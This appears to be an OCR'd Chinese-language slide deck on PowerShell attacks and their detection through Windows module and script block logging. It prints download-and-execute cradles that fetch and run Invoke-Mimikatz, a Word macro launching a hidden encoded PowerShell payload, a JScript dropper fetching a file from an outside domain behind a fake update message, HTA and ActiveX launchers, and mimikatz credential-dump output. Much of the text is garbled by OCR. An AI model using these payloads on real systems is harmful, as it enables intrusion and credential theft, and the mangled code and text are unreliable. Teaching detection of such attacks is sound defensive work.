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ERERFER A\ PowershellfRZS $PSVersionTable

PowerShell Desktop OS Server OS
Version 2 Windows 7 Windows 2008 R2
Version 3 Windows 8 Windows 2012
Version 4 Windows 8.1 Windows 2012 R2
Version 5 Windows 10 Windows 2016
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E PowerShell# {75518

Al
==]

Restricted —— PSIEAS BT BIARESSREFIERAINIT

PS C:slsersswangyongtao? Get—executionPolicy
Restricted

PS8 C:\Userswangyongtao? d:

PS D= .MGet-Process.psl




E Bypass PowerShell$1{T5RHA&

» PowerShell.exe -ExecutionPolicy Bypass -File xxx.psl

» powershell "IEX (New-Object
Net.WebClient).DownloadString( ‘a.com/a.ps'); InvokeMimikatz



E 2% |Fpowershel EAE ? ? ?

> PowerShell2EWindows&ZS#H— 1M OB S (EARTFBER)

> {F1ETF System.Management. Automation.dll ZhzsHEERES G (DLL)

> (£F3.NetFia] LA powershell




E M.Netiz{Tpowershell

r;—_e:i-: roid Main(string[] args) W 16216 O
;E—' (args.Length >= 1) I:'-Tl“- npﬁ.exﬂ 134m 134m

i conhost.exe 15380 0
consere.riteline(System. Convert. Tosascesstrine(q] 4 YoudaoNote.exe 8112 8112
_YNoteCefRenderexe 8256 8112

, Console.kriteline("usage: nps.exe -encode \"& con : VNoteCefRender.exe 8340 81 12
z'_:-é if (args[8].ToLower() == "-decede") :YNoteCefF{ender.exe 8360 8112

if (args:Lengtn == 2) o DocToPDF.exe 8088 8088
String cmd = System.Text.Encoding.Unicode.GetStri AdobeARM.exe 9616 9616

Console.Writeline(cmd);

L 3 jusched.exe 9732 9732

Console.WritelLine("usage: nps.exe -decode {base_64_string}");

‘ PowerShell pz = PowerShell.Crea
if [args[@].Tolower{) == "-2n

|| args[@].ToLower{) == "-enc")}

string script = "";




E M.Netiz{Tpowershell

PSAttack!l v a ' ' .

AN TN AN TN AN TN AN NS AN AN NS YN
RN N A T R A A N A A
R N T v
R A N T L N SN
N T N T T N T L
v S NN S NS NS NN AN

C:slsers® DovnloadssPSAttack—1 9«86 H> Get—attack
Welcome to PS>Attack?

Will Schroeder — KeePassConfig Get—Attack will let you search through the built in attacks to find wvhat you're
Will Schrorder <(HarmjBy> — Invoke—Kerheroast looking for.

: PowerTools — Powerliew
PowerTools — Powerlp The search will look through the d cription of the attacks as well as some pre
hlldz - Invoke—Phant8m defined
Mizhang — Out—Dnstxt
Mizhang Do-Exfiltration
Mizhang dns_txt_pwnage
Mizhang Get—Wlan—Keys
Nishang — Add-Exfiltration [*] Passwords

: Mishang Get—Information [#] Exfiltration
Hishang Invoke—PsUACme [#] Code Execution
Nishang Gupt-Backdoor [#] File Tools
PowerSploit Invoke—-Shellcode [#] Metwork
PowerSploit Invoke—UMICommand
PowerSploit Invoke—Mimikat= Get—Attack Examples:
PowerSploit Invoke—Ninjacopy [*] get—attack netcat
PowerSploit Invoke—GPFPPaszword
PowerSploit UolumeShadowCopyTools
PSAttack - Get—-Attack
Kevin Robertson — Inveigh . .

: Kevin Robertson — Inveigh—Relay Once you find an attack you want to try. vou can find out more about the comman

Kevin Robinson — Tater d with the

Kevin Robinson — Invoke—SMBExec get—help command. You can also use the —Examples parameter with ‘get-help’' to v
Kevin Robinson — Invoke-WMIExec iew examples

Kevin Robhinson — Invoke-SMBClient of using most commands.

Besimorhino - Pouwercat
Putterpanda — Invoke-Mimikittenz Get-Help Examples:

Luke Bagget - dnscat2.psl [#] get—help invoke—mimikatz
[#]1 get—help invoke—mimikatz —-Examples

categories. Thosze categories are:

[#]1 Recon

[#] get—attack passwords
[#]1 get—attack smh
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E Office VBA-PowerShell

Microsoft Word 2010

This document was edited in a different version of Microsoft

\Alara
£ Microsoft Visual Basic for Applications - Fbbaal 37edfbd65ded58148a38a6dbScd73¢5f2¢7edbbd2797 edebaddSdbIeS4 [design] - [ThisDocument (Code)) =
|4 File Edit View [nset Format Debug Run Tools Add-Ins Window Help Type a question for help -
WE-d $ 228 20 » 0 i §FY & @ wscom g
Project - Project x| [(General v| |Execute
23 4 B
= &8 Normal N
=& Project (Fbbaa137e4fbd Sub Execute()
E 3 Microsoft Word Objects Dim payload
; MQITHdmxuwmt payload = "powershell.exe -WindowStyle hidden -nologo -noprofile -e EeREERGES ST SAEIPARNC YNl oA E) Na b b oo it b o TN e S0 i Lo e e
[~ (-] References "AbOBrAGsAYQBRAGgACOBNAGKAUgGBRAEKATABI AR A A BFAHYAMOBDAFYASgASAGEAZgBoAGCSAQWERAHGAZABVAGSAUWBKACEBAUQENACEAYQBSADGAQOAT AR ANWEPAEgAMOETADERRGE

" AMgB1ADMAUgBeAEoASwB1AGcAegBLAFAAa QBXAE 0ASQBuAGQANQBhADYANgBVAHOAUABZ AGgARAB 3 AHKATWBKAHAANWEXAE 0AQQBOAGCAVOB 6 AEgANABHADAAIQBVAEWARQEWACEA
"AQwAzACBATABGAFgANABWAEQAawBBAGQASQBVAFARTABSADUASWBsAHgAUWB1 AGCAVGBZAFYAbWBYAE gheQBYAF sAVWBSAHoAagBWADEANQBKAE 0AWgASAFAAAQBLAGCAA (B AHMAN,

&
= &t Project (MacroPowerShe I
&
& "ANgA3ADMALgByAFMAVQBXACEASAASAFMAVQBXAEKAJABTAEKADQBVADYACAA4ADCAIQBKAEWADABCAFAAZABYAEQAZWA4AE B AdwB 1 ADAASQBIAHCAYQBDAEQAZABKAEMADAA L ADYADWA
&
&

=2 Micrasoft Word Objects
- B8] ThisDocument
[*] References

"AVgBe6AHAAVgEVACsAQWEUAHcALwBUAFkAUWBBAGMAOQENAFARdgE6ADgALWBpAEQACQE4ADMAZ QAVAFcATgAOAE IAdgBsAHCAYgAORAHYAVoAWAGEAUQBJAGYANgBTAGOADQBxAGMAOAS
"ARQBuUAGQAKAAPADSA
Call Shell (payload, vbHide)

End Sub




Js-PowerShell

= new ActiveXObject ('Wscript.Shell');
-WindowStyle Hidden $d=$Senv:temp+'s4a2924808f66985de3a%dle3d743el0d.exe’; (New-Object

n("PowerShell
System,Net .WebClient) .DownloadFile (' https://ahtaeereddit.orqg/17/524.dat',$d);Start-Process
ssembly] : :LoadWithPartialName ('System.Windows.Forms'); [system.windows. forms.messac
'Information', [Windows.Forms.MessageBoxButtons] : :0K,

(Icon)::Information);", 0, false);

9d; [System.Reflection.!?
ebox] : :show('Update complete.',
[System.Windows.Forms.MessageBox
var ) = new ! ('Scripting.FileSystemObject');
= - .location.

(8));

Z2% ( bobao.360.cn )
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Loading. ..

g C:\UsersW i) Desktophps.hta - Notepad++

(5]

B test htnlEd [H = ht-E

i@ool&” |

I R

ZEHE | #80E #2FO NENM HEN EFEL BED IR0 =M ETR EEHE S0
|

EzEhw

2
| o )

2

ktitle><ftit1e>
El<center>

<br>

<hZ>Loading...</hZ>

<br>

-</center>

Fl<=cript language="VBScript">
S5et Hackdo = CreateCbject|

End If
“</zcript>

<h1>11111111111111111111111</0l>

"Wacript.Shell"™

Set Check = Createlbject ("Scripting.FileSystemlbject™

If Check.FileExists (Hackdo.ExpandEnvironmentStrings ("$PSModulePathi™) +
Hackdo.Run "powershell.exe -nop -w hidden calc.exe"

" .\powershell.exe") Then



- 7ol g

Fad Fr1 fIE0 AR@  About

RO | zeiw | grerlees—] |

7 test[1] - iBEE
%T:gjﬁm;ﬂmm“m M) HEE) ERO) BBV EEH)
[?] Made by UNEEGISTERED | |<!DOCTYPE html>
| <html »<head>
{titlertest</ title>
‘head> < head>
hodyr
command exec
<OBJECT id=x classid="clsid:adkB80af—-dB8ff-11cf-937T-00aa003k7all” width=1 height=1>
<PARM name="Command” walue="ShortCut”>
{PARAN name="Button” walue="Bitmap::shortcut™>
<PARM name="Tteml”™ walue=", cmd. exe, /¢ powershell. exe —nop —w hidden calc.exe’ >
<PARAN name="Ttem?” walue="273,1,1">
<SOBTECT »
<SCRIPT >
x. Click();
</SCRIPT >
bodvr
<html >

[ [] == [
BBV #8200 =m0

“

kA MR M5 M+ P-




E PowerShell Tools - Attack

» Empire

» Inveigh

» Nishang
» PowerCat

» PowerSploit

» Invoke-TheHash
» WMImplant

» OWA-Toolkit

» PowerUpSQL

» SessionGopher



m Empire

http://www.powershellempire.com/

empire— % & f &




m PowerSploit- PowerView

https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.psl

AREERSY & S




E SessionGopher

https://github.com/fireeye/SessionGopher

£ BAWinSCP, PuTTY

SuperPuTTY, FileZilla% %% 7 %4
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ershell a2%

SHA256: ebf54f745dc812 1955877 5e4cad1dd0abaa39fc 9737 hb6b0bMI93e2f51d9a2a5b0

_—

File name:

Invoke-Mimikatz_ps1

Detection ratio: 2957

Analysis date:

2017-07-06 20:28:30

= Analysis

Antivirus

3 Relationships € A«

Ad-Aware
AegisLab

Arcabit

Cyren
Emsisoft
ESET-NOD32
F-Secure
Fortinet
GData

Ikarus
Kaspersky

MAX

SHA256:

File name:

Analysis date:

Invoke-Mimikatz. ps1

Detection ratio. 16/ 56

2017-04-04 02:28:23 UTC ( 2 months, 1 week ago )

‘ = Analysis

© Additional information @ Comments ) Votes

O6acTec2609bd0adb0224b501a36cad66d3542d48b8bbe 50400 4003545200684

Antivirus

Result

Ad-Aware
Arcabit
BitDefender
Emsisoft
ESET-NOD32
F-Secure
Fortinet
GData

|karus
Kaspersky
McAfee
McAfee-GW-Edition
Microsoft
eScan

Rising

ZoneAlarm by Check Foint

Generic.PwShell. RefA 5BB287CE
Generic.PwShell. RefA.5BB28T7CE
Generic.PwShell RefA.5BB287C6
Generic.PwShell. RefA 5BB287C6E (B)
PowerShellfinjector B
Generic.PwShell. RefA.5BB28TCE
JSMoat. 3B458B5E!r
Generic_PwShell RefA 5BB28TCE
HackTool Win32 Mikatz
Trojan-PSW.Win32 Mimikatz.gen
HTool-EmpireAgent
HTool-EmpireAgent
HackTool:Win32Mikatzidha
Generic.PwShell. RefA 5BB287CH
Trojan.Injector!3.C4 (topis)

Trojan-PSW.Win32 Mimikaiz.gen

=fi

Param(

[String[]]
SComputerName ,

[EE RN e (R Y O PV S )

o

10 [Switch]
11 $DumpCreds ,
12

13 [Parameter (ParameterSetMName

14 [Switch]
13 SDumpCerts,
16

17 [FParameter (ParameterSetlame

18 [String]
15 SCommand
20 3

21

22 Set-S5trictMode -Version =2

23
24

25 E §RemoteScriptBlock = {
28 [CmdletBinding ()]

27 Param(

28 [Parameter (Position =

29 [String]
30 SPEBytes6d,
31

32 [Parameter (Position =

33 [String]

funection Invoke-Mimikatz

[Parameter (Position

[FParameter (ParameterSetHame

[CmdletBinding({DefaultParameterSetName="lumpCred="})]

"DumpCreds"™, Position

"DumpCerts", Position

"CustomCommand™ ,

1, Mandatory

Pozition

d “

11

Windows PowerSl lenath :

01699 lines:2682 In:2 Col:2 Sel:0]0




E Powershell HE 125

POWG rSheI IH&ZKB&L\/LJ: . . Windows PowerShell
HEAERSETHNE RS W ES =
> ZH % i, = st AEER =l=)] =
= $TFF PowerShell Bz AEiDS *E= &
>ITTETIRE = AT HEE =
= FTFF PowerShell #i2 SEE =
> SRR £ B2 Update-Help BIEAEESRE FEE =

>WindowsZ{4
Windows powershell:
Module Logging ( psv3)
Script Block Logging ( psv5)
EncodedCommand

XOR, Base64, ROT13




E PowerShell Module Logging

Bl OIREG) TZ o0 EEhOD
A= EEN 2 Rl .
5 Hindows $BFF =1z k- S Rtk

=

Aeotive Directory &&%fﬂhﬁﬁﬁ‘%‘

| ActiveX FTEIEFARS

BitLocker IEzhEEhN=

Internet Explorer

Internet Information Serwices
HetMeeating

Parental Controls

Fazzword Synchronization

R3S 12

Server for HIS

Tablet FC

Windows Angtime Upgrade
Defender
Installer

Mail

Media Center

Hindows
Windaws
Windaws
Windaows

Windows Media Flawer

Media F1=HFREIE

Me=zzenger

Windows

Windows

Fow erShelll

Windows

ZideShow

Windows Update

¥indows [Ei=iRS

Windows SEFI%IN
Windows BJETES4R
Windows T FEREHETE
¥indows HA

Windows RERETEEIEE
Windows FNE IR
'|'|'1n-:1|:|w5 iﬁ-zﬂ]ﬂh:u

“—am

Windows

-

oY
FK

Miecr
Serwv

it

CIE
BHI

ey
=u=t!
Fowes
o
LogF:
32

IR
IEH]
FA 1Lk
LogF:
R

LY

T.n=F"

m [ BEEREEER

I_I_
|
n

Lils|

]
T

(P) —MM=E(N)

C EEEC
& BEEE

C BEAD)

TR

TETE

Ejﬂ—“ﬁﬁﬁﬁﬁiﬁmﬁ HEic=
T . FARTERIETEAERERR.
.

EHRERR

1 Windows PowerShell #2034
= EBEEflETELTERER

Microsoft.PowerShell.®

=—
LTI .

Microsoft.WSManManagement

Microsoft Windows 7 8 Windows Server 2008 ikl Fhea

HRETR:
18
*
£
*

FRSE (00 |




PSS CoslzerssAdministrator? Get—-Childltem c:isa.txt | Select—String kcon

C:wa.txtsl:sanr kcon

BfEw) THK  FEENOD

HmHl=

=14 4103 , PowerShell (Microsoft-Windows-PowerShell)

OHHHHHEHBEEEBEERBERKBKBER

=8 |wees|

ParameterBinding(Out-Default): 8 = "InputObject” ; E = "Chatxtlisanr koon "

il
=% = Informational

FHEHEEFK




E Module Logging

Invoke-Expression (IEX)

@f%,%, 2017/6/168 14:26:34 FowerShell Microscft—YWindews—FowerShell) 4103 JETEh,. ..
! | =2 2017,/6/18 14:26:33 PowerShell Microszoft—Windows—FPowerShell) 4103 ETEd,. ..

HEEMRE: Yindows PowerShell

PE C:slUsers Administrator> IEX (New—0Object Met.WebClient?_DowvnloadString('http:--18_.18.35.132:1898-Get—Process

WS CK> UMM CPUCs> ProcessMName

conhost
CEISS
CEPES
dllhost
dwm
explorer
Idle
lsass
lsm
nmc
=14 4103 , PowerShell (Microsoft-Windows-PowerShell) e

nmc

51 |ﬁ¥ﬂi1§%| mnsdtc

povershell

ParameterBindinE[]nvoke-Expression*: £ = "Command” :{E =| "Get-Process” poverchell
povershell

seruices

EMES

¥

s =
FEEtE = Informational suchost
=¥ = ConsoleHost ::z:z::
EHARE = 4.0 svchost
=H1 ID = 29a5d181-3691-4373-a102-7acl0c62f6c3 ::z:z:z
SIEEEE = 4.0 suchost
EfT=E ID = 3df7ee2a-3773-4935-bl1c-be35028fb0cl z:z:z:t
BED =12 suchost
BSEFE = Invoke-Expression System
S = Cmdlet ;:i:?zz:nstaller
BZE=#(M): Microsoft-Windows-PowerShell/Operational Eﬁgzt:i;ru AEE
=B (S): PowerShell (Microsoft-Wi iZ=8E(D): 2017/6/16 14:26:34 vmtoolsd
St ID(E): 4103 ESEESIY): EERTEE vmcao tad

wininit

EREIT =B 2EERSTO L ==



Module Logging

.Net Web Clientdownload

Oparational ==

5] i =hGE =] = I =it [hazsl |
' 1‘%,% 20176516 14:19:09 PowerShell Microsoft—Windows—PaowerShell) 40962 Powersh. . .

2017T/8/16 14:19:09 FowerShell Microsoft—Windows—FawerShell) 40961 Fawersh. ..

Z01T/B/16 14:19:08 FowerShell Microsoft—Windews—FowerShell) 4103 JE7EEh,. ..

: iois

PS8 C:Nsers“idministrator? powershell <new—object System.Net.WehClient?.DownloadFiled *http: " wwu.jd.con favic
ext . ico’ >
Windows PowerShell

kAN ¢G> 2813 Microsoft GCorporation.

P§ C:lsers“Adninistrator>

={4 4103 , PowerShell (Microsoft-Windows-PowerShell)

=0 |emEs |

ParameterBinding(New-Object): €8 = "TypeName” ; {H = "System.Net.WebClient"

R
FEEt£ = Informational
FHE = ConsoleHost

Elhad = 4.0

A ID = fe724fdc-e376-4306-8538-b212ael1blcff
SIEhE+ = 4.0

IET=EID = ada3e893-f302-4144-8271-e1085ee0099d
BEED=1

#EEERR = New-Object

FwEZEH = Cmdlet

BEE#M): Microsoft-Windows-PowerShell/Operational




E FTEEIR M Invoke-Mimikatz

Bl == - =4 4102 , PowerShell (Microsoft-Windows-PowerShell)

B EEEE

Commanc
Paramet
FEFFEAEF

H#HE N
H#HEN [
A A
e
ERROR mi

mimikatz(

Authentic
Session
User Nam
Domain
Logon Se
Logon Tir
SID

N—N—N—l—|:

HE=FR(
HEIR(S):
1 ID(E):
ERBI(L):
HEFEu:
BRAEAGES(C,.
BE=EE):

## o~ #% Time

June 16th 2017, 14:08:27.140

June 16th 2017, 14:08:26.622

e

@timestamp per 30 minutes

_SOUFce

nessage: Parameterfinding(Out-Default): &4 =“InputObject”; (§ =" .##2¢¢. imikatz 2.1 (x64) built on Nov 10 2016 15:31:14 3% A #%. "4 La Vie, A L'Amour” 3 /|
# /=== 3\ / # Benjamn DELPY "gentrlkiwi’ ( benjamin@gentilkiwi.com ) "#% v &' http:f,.-"bhg.gentﬂkiwi.com,.-"- (oe.e0) '#B##4' with 20 modules * * */
-(powersheﬂj # sekurlsa::Togonpasswords Authentication Id : 0 ; 996 (00000000:000003e4) Session : Service from 0 User Mame : WIN-LTQROOL&4CQS Domain : W

ORKGROUP Logon Server & (null) Logon Time : 2017/6/12 18:38:19 SID : 5-1-5-20 msv @ tspkg @ wdigest @ * Username : WIN-LTQROOLG4CQS * Domain : WORKGROUP * Passwo

el o 11y Larherns + # legppname o win=T+ariN162rnt % Namain ¢ WARKEAAIE = Pacownrd + (rn1Y zzm 0 rredman « Anthentiratinn T4 0 0 ¢ AT464 (oOONONON -NANNRAERY ©

nessage: ParaneterBinding(Urite-Output): &HF ="InputObject”; (§ =" ##4#%. mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14 3% 4 #%. "A La Vie, A L'Amour” 3 /
\ ## /5 =4\ [ # Benjamin DELPY gentilkiwi® ( benjaninégentilkini.con ) '# v ##" http://blog. gentilkiwi. con/iMikaEZ (o.e0) '#3##%" with 20 nodules * *
-(powersheﬂ) # sekurlsa::logonpasswords Authentication Id : 0 ; 996 (00000000:000003e4) Session @ Service from 0 User Name : WIN-LTQROOL&4CQS Domatn

: WORKGROUP Logon Server : (null) Logon Time : 2017/6/12 18:38:19 5ID : 5-1-5-20 msv : tspko : wdigest : * Username : WIN-LTQROOLG4CQS = Domain : WORKGROUP * Pas

rwred o (a1 Farheras o 2 [learpame © win=14ar0T64FAE = Mamztn o WABKEROND 2 Paccwnrd © (an11Y cem o rradman o Abhertratinn TA 0 00 ATAEL FOONOONGN - ANONROE

ard ¢ frul1Y kerheros ¢ #= lzername o win-ltarn0164cat # Damain @ WORKGROUR = Pascward * fAullY s=pn * credman @ Autrhentication Td = 0



K 1aE M Invoke-Mimikatz

System.Reflection.AssemblyName . SE_PRIVILEGE_ENABLED,
System.Reflection.Emit.AssemblyBuilderAccess

June 16th 2017, 14:45:20.060

meszage: FParameterBinding(New-Object): 35FF ="TyvpeName™;: {H ="|System.Reflection.assemblynName

ParameterBinding(New-0Object): 3=F; ="ArgumentlList™s {

egate” T3 : TFE8EM = Informationmal FEHl4s = ConsoleHost FEHMrE = 4.0 FE4H, ID = a9a5dl81-3691-4373-a102-FaclOcs2Fec3 S|EME = 4.0 i=f7EE@E ID = 2d-

bllc-be350e8Ffb0cl EiE ID = 15 HSEHR = Mew-Object #p<ZEF = Cmdlet HEIFEEIE = GoIEE = FEAl=S

2534 AP = WIN-LTQROOLG4CQ Administrator Shell ID

rShell FAF#NIE: @timestamp: June 16th 2017, 14:45:20.060 actiwity id: {01B09900-F800-0000-FEAE-G5F867E3D201} beat hostname: WIN-LTQROOLG64CQ beat. na

a0y e w— = 1 7 s g g TN 1 T eront Aatn Ford ot T Fo- FEFTI — TeFAarmamtSmam=T EH A — e mTleaHAe= AR A — 2 b S T — =oo
June 16th 2017, 14:45:20.028 message: ParameterBinding(Out-MNulll: SF ="InputObject”: {H ="[System.Reflection-Emit.FieldBuilder” T *: &M = Informational EH4E = ConsoleHo
FEH, ID = a9a5dl81-3691-4373-al02-7aclOc62Tec3 J|EERAE = 4.0 J=97%E ID = 3dfFeeza-3773-4935-blic-be350=8Tbocl BEJE ID = 15 ap<8EFF = Out-Null &asx2
FZFE - SEEEEE = FESS = 2500 A = WIN-LTQROOLS4CQ*Administrator Shell ID = Microsoft.PowerShell FAA#IE: Btimestamp: June 16th 2017, 14:45:20.02

AEO09900-F800-0000-BAAE-GSFEGTEIDZ0OL T} beat hostname: WIN-LTQROOLS4CT beat name- WIN-LTQROOLS4CO beat wersiom- 5.2.1 compoter mname- WIN-LTQROOL&S2CO

..... T dota FontextInEa: TIEFHEM = ThnFormational TH S = ConsaleHos+t THIMEFE = 4.0 3H) TD = a9 IE01 AT I_—m 10— TaclNce2Fac2 DIBIME = 4.0 S=5F777E
June 16th 2017, 1£:45:20.028 meszage: ParameterBinding(Out-Null): 5% ="InputObject”: (g ="|S¥F=temrReflectioniEmitrFieldeuitder” T~ : TEMH = Informational E£HE = ConsaleH:
I, ID = a9asdlE81l-3691-4373-3102-7aclOcE2F6c3 S|8ERA = 4.0 iS{T55@E ID = 2df7eeZa-2773-4935-bllc-be35028Fb0ocl EiE ID = 15 S<3EFEE = Out-Null sg<e2
A= AN R = = = = W - wadministrator he = Microso . PowerSshe & : times tamp - une h 7y 4:45: .
S BET 1= 2502 WIN-LTQROOLS4CO Ad t i Shel11 ID M ft. P Shell a 3 1eth 2ol 1244 20.02

1B09900-F8300-0000-BBAE-G5F867EZD201} Tbeat hostname: WIN-LTQROOLG4CT bheat name: WIN-LTQROOLGACO beat wersiom: 5.4.1 computer name: WIN-LTQROOL&4CO

..... F aat e o e s T s TEEEM = Tn 21 = = = ConsaleHo=t F=HHMF = 2.0 =4 TD = a9 3 -A4373—-a -7 a F2Fec=2 2S8R F = 4.0 =FTT5E
June 16th 2017, 14:45:20.027 message. FParameterBinding(out-mNulll: SFF ="Inputobject”;: {H ="[System.Ref lection.-Emit. FieldBuilder” LT > : &M = Informational E£H5=S = ConsoleH:o
F4, ID = a%a5dl81-3691-43273-al102-7aclOce2fecs S|EERA = 4.0 i={T5F@El ID = 2df7eeZa-2772-4935-bllic-be350e8Fb0ocl EiE ID = 15 &<5EFE = Out-MNull g2
EF = eSEIE = ESS = 2496 AP = WIN-LTQROOL&4CQ Administrator Shell ID = Microsoft.PowerShell AF#IE: @timestamp: June 16th 2017, 14:45:20.02

1E02900-F800-0000-BEBAE-G5F867E3D201] Tbeat hostname: WIN-LTQROOLG4CO beat mame: WIN-LTQROOLG4CT beat wersiom: 5.4.1 computer name: WIN-LTQROOLG&4CQ

..... + data ContertTnFo- FEEEPE = ThFfoarmational #3238 = ConmsaledHos=t SEHEEH — 2.0 £# TD = =29 TEG1-A3ITI—mal0?-Tacl0cE?Fac: S2|B8IMRAR = 4.0 I=FTT5E
June 16th 2017, 14:45:20.027 meszsage: ParameterBinding(Out-MNulll: SFE ="InputObject”: {H ="[Sy=stem.Reflection-Emit.-FieldBuilder” LT >: &M = Informational FEHE=E = ConsoleH
FH, ID = a2a5dl81-3691-4373-a102-7aclOc62F6c3 J|EERRTEE = 4.0 S47%E ID = 3dfFeeZa-3773-24935-bllc-be350=8Tb0cl EIE ID = 15 a8 = Out-Null aasz

L= An s e = = = = W - sAdministrator he = Microso - PowerShe 3 H times tamp - une h T 4 :45 = -
A g 1= 2494 WIN-LTQROOL&4CON Ad t i Shell ID M ft. P Shell a 3 1sth 201 124 :4 20.02

ABEO9900-F800- 0000 -BEFAE-65FE67EIDZ0OL T} beat hostname: WIN-LTQROOLS4CT beat name-. WIN-LTQROOLS4CH beat wersiom: 5.2.71 compoter name- WIN-LTQROOL&ACO

..... + Aot - et TnEo- TIEFHEM = ThnFormational TH S = ConsaleHos+t THIMEFE = 4.0 3H) TD = a9 IEOT AT I a1 N Ta I NcEFE~T BB — A N SEFSTTIE
June 16th 2017, 14:45:20.026 message: ParameterBinding(Out-Null): 5% ="InputObject”: {H ="|SF=temiRSflEctignilEmElriSldeiiader” T~ : TEM = Informational E£H4E = ConsoleH:
FEF#H, ID = a9asdli81l-3691-4373-a3102-7aclOcE2F6c3 S|8EMRA = 4.0 iS{T55@E ID = 2dfF7ee?a-3773-4935-bllc-be350e8Fh0ocl EiE ID = 15 E<3EER = Out-mNull sz
EZFR = wEE{E = ESE = 2484 A = WIN-LTQROOLG4CO“Admindistrator Shell ID = Microsoft.PowerShell FAAHEE: Btimestamp: June 16th 2017, 14:45:20.02

1B09900-F800-0000-BE2ZAE-G65F867E3D201} beat hostname: WIN-LTQROOLG64CO beat mname: WIN-LTQROOLG64CO beat wersiom- 5.4.1 computer name- WIN-LTQROOLG&2COQ

T o T === TEEEM = ThFEarmationza]l =H{ L= = Comnsaleda=+ FHEEF = 2.0 =3 T = 29

TEC] AT I m NPT eI Nee?Fe T 2|EIEE — A 0 SEFSTTE



PowerShell Script Block Logging
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Script Block Logging

EiJ HHEM - =5 4104 , PowerShell (Microsoft-Windows-PowerShell)

Bl EEER

IEFEIEE Scriptblock 3ZZ5(ESAE 1, £ 188):
function Invoke-Mimikatz

{
<#

SYNOPSIS

This script leverages Mimikatz 2.0 and Invoke-ReflectivePEInjection to reflectively load Mimikatz completely in memory. This allows you to do things such as
dump credentials without ever writing the mimikatz binary to disk.

The script has a ComputerName parameter which allows it to be executed against multiple computers.

This script should be able to dump credentials from any version of Windows through Windows 8.1 that has PowerShell v2 or higher installed.

Function: Invoke-Mimikatz
Author: Joe Bialek, Twitter: @JosephBialek
Mimikatz Author: Benjamin DELPY "gentilkiwi". Blog: http://blog.gentilkiwi.com. Email: benjamin@gentilkiwi.com. Twitter @gentilkiwi

License: http://creativecommons.org/licenses/by/3.0/fr/

Required Dependencies: Mimikatz (included)
Optional Dependencies: None
Mimikatz version: 2.0 alpha (12/14/2015)

.DESCRIPTION

Reflectively loads Mimikatz 2.0 in memory using PowerShell. Can be used to dump credentials without writing anything to disk. Can be used for any

functionality provided with Mimikatz.

HESTR(M): Microsoft-Windows-PowerShell/Operational

ER(S): PowerShell (Microso i2ZAtEID): 2017/6/13 15:01:44
= ID(E): 4104 EE2SRI0Y): TS

REIL): =5 FEFK): X



PS C:\Users\Thinkpad\Desktop\block—parser-master‘\block-parser> $command =

P? C:\Users\Thinkpad\Desktop\block-parser-master\block—parser> $bytes = [System. Text.Encoding]::Unicode. GetBytes (Scomman
!
PS C:\Users\Thinkpad\Desktop\block—parser-master\block-parser> SencodedCommand = [Convert]::ToBase64String(Shvtes)

PS C:\Users\Thinkpad\Desktop\block—parser-master\block—parser> $encodedCommand
SOBFAFgATAACAE4AZQB3ACOATWBiAGoAZQB JAHQATABOAGUAdAAUAF cAZQB 1 AEMAbABpAGUAbgBOACKAL gBEAGSAdwBUAGwAbwWBhAGQAUWBOAHI AaQBuAGe!
KAANAGgzAdABOAHAAOgAVACSAMQAYADcAL gAwACAAMAAUADEALWB JAG4AdgBvAGSAZQAtAEOAaQBtAGkAawBhAHQAe gAuAHAACWAXACCAKQATACAASQBUAHY!
bwBrAGUALQBNAGKAbQBpAGsAYQBOAH0A

PS C:\Users\Thinkpad\Desktop\block-parser-master\block-parser> powershell.exe —Fr

BiAGoAZQB jAHQATABOAGUAdAAUAFcAZQBiAEMAbABpAGUAbgBOACkALgBEAGBAdwBuAGwAbwBhAGQAUWBOAHT AaQBuAGcAKAANAGgAdABOAHAAOgAVACSAMQ
AyADcALgAWAC4AAMAAUADEALWB JAG4AdgBvAGsAZQAtAEOAaQBtAGkAawBhAHQAegAuAHAAcwAXACCcAKQATACAASQBUAHYAbwBrAGUALQBNAGKAbQBpAGSAYQ
BOAHOA

mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14
fﬁ La Vie, A L’ Amour”
IEE R
Benjamin DELPY gentilkiwi ( ben jamin@gentilkiwi. com )
http://blog. gentilkiwi. com/mimikatz (oe. eo)
with 20 modules * * %/
ERROR mimikatz initOrClean ; CoInitializeEx: 80010106

=
=k I FE 4

mimikatz (powershell) # sekurlsa::logonpasswords '
ERROR kuhl m sekurlsa acquireLSA ; Handle on memory (0x00000005)

mimikatz (powershell) # exit
Bye!




E Script Block Logging Encoded

HERFORTE] =R =Y ID {E=52£51 ~
132131 S8 365
BHEFFOATIE] R =HFID =25 ~
2017/6/13 15:40:55 PowerShell (Microsoft-Windo... 4104 HiTimiEas
@DER 2017/6/13 15:40:55 PowerShell (Microsoft-Windo... 4104 HiTioEwS
@DE= A =E 2017/6/13 15:40:55 PowerShell (Microsoft-Windo... 4104 PUTIEfEqmS
gfj Iﬁﬁﬁ 2017/6/13 15:40:55 Powershell (Microsoft-Windo... 4104 PUTITES
= @%’% 2017/6/13 15:40:55 PowerShell (Microsoft-Windo... 40962 Powershell #H15E250
< @ER 2017/6/13 15:40:55 PowerShell (Microsoft-Windo... 53504 PowerShell s(s2EiE IPC
T 4104, Pover|l (D582 2017/6/13 15:40:55 PowerShell (Microsoft-Windo... 40961 Powershell £&l&E50
B emess| 0FEHR 2017/6/13 15:40:55 PowerShell (Microsoft-Windo... 4104 HiTiniEass
s 2017/6/13 15:40:55 PowerShell (Microsoft-Windo... 4102 FHEHITEE o
TEFEEIEE Scrip
function Invok| B 4104, PowerShell Microsoft-Windews-PowerShell) »
t B EEs
<#
SYNOPSIS IEZEEIR Scriptblock SR(EEAE 1, 3£ 1):
oA st sl IEX (New-Object Net.WebClient).DownloadString("http://127.0.0.1/Invoke-Mimikatz.ps1"); Invoke-Mimikatz
dump credent|
The script has ScriptBlock ID: 11befa2c-c893-41be-abe8-2c1e92b5c22¢
B
This script sho
o AsteEsEREsE| | AIHE SRS - | X
SR BEA | Soer(F) EBREA) BEE(V)  TEEIH)
# = [ iy — —
«2 200 e 2@z Bml T
~ [ Win
= A ~ [ Windows E1{f “~ 1 Windows PowerShell
> [0 B ] Acti X'_L‘ g ot >
= - Bii:;’skeffm% ;ﬂ E; $T7F Powershell WiAIRE® 85 R R ~
- ’ = ic= . sEth AL i
- L > [ Internet Explorer - 5 E'ﬂ; . FEE
fl N [ Internet Informatiol ESEEEaE ~ 2Eil Powerhell BRE = =
= MDM - v = BRI T i = o
o
= M AT e _ . § B AT P P N a1 ==




4

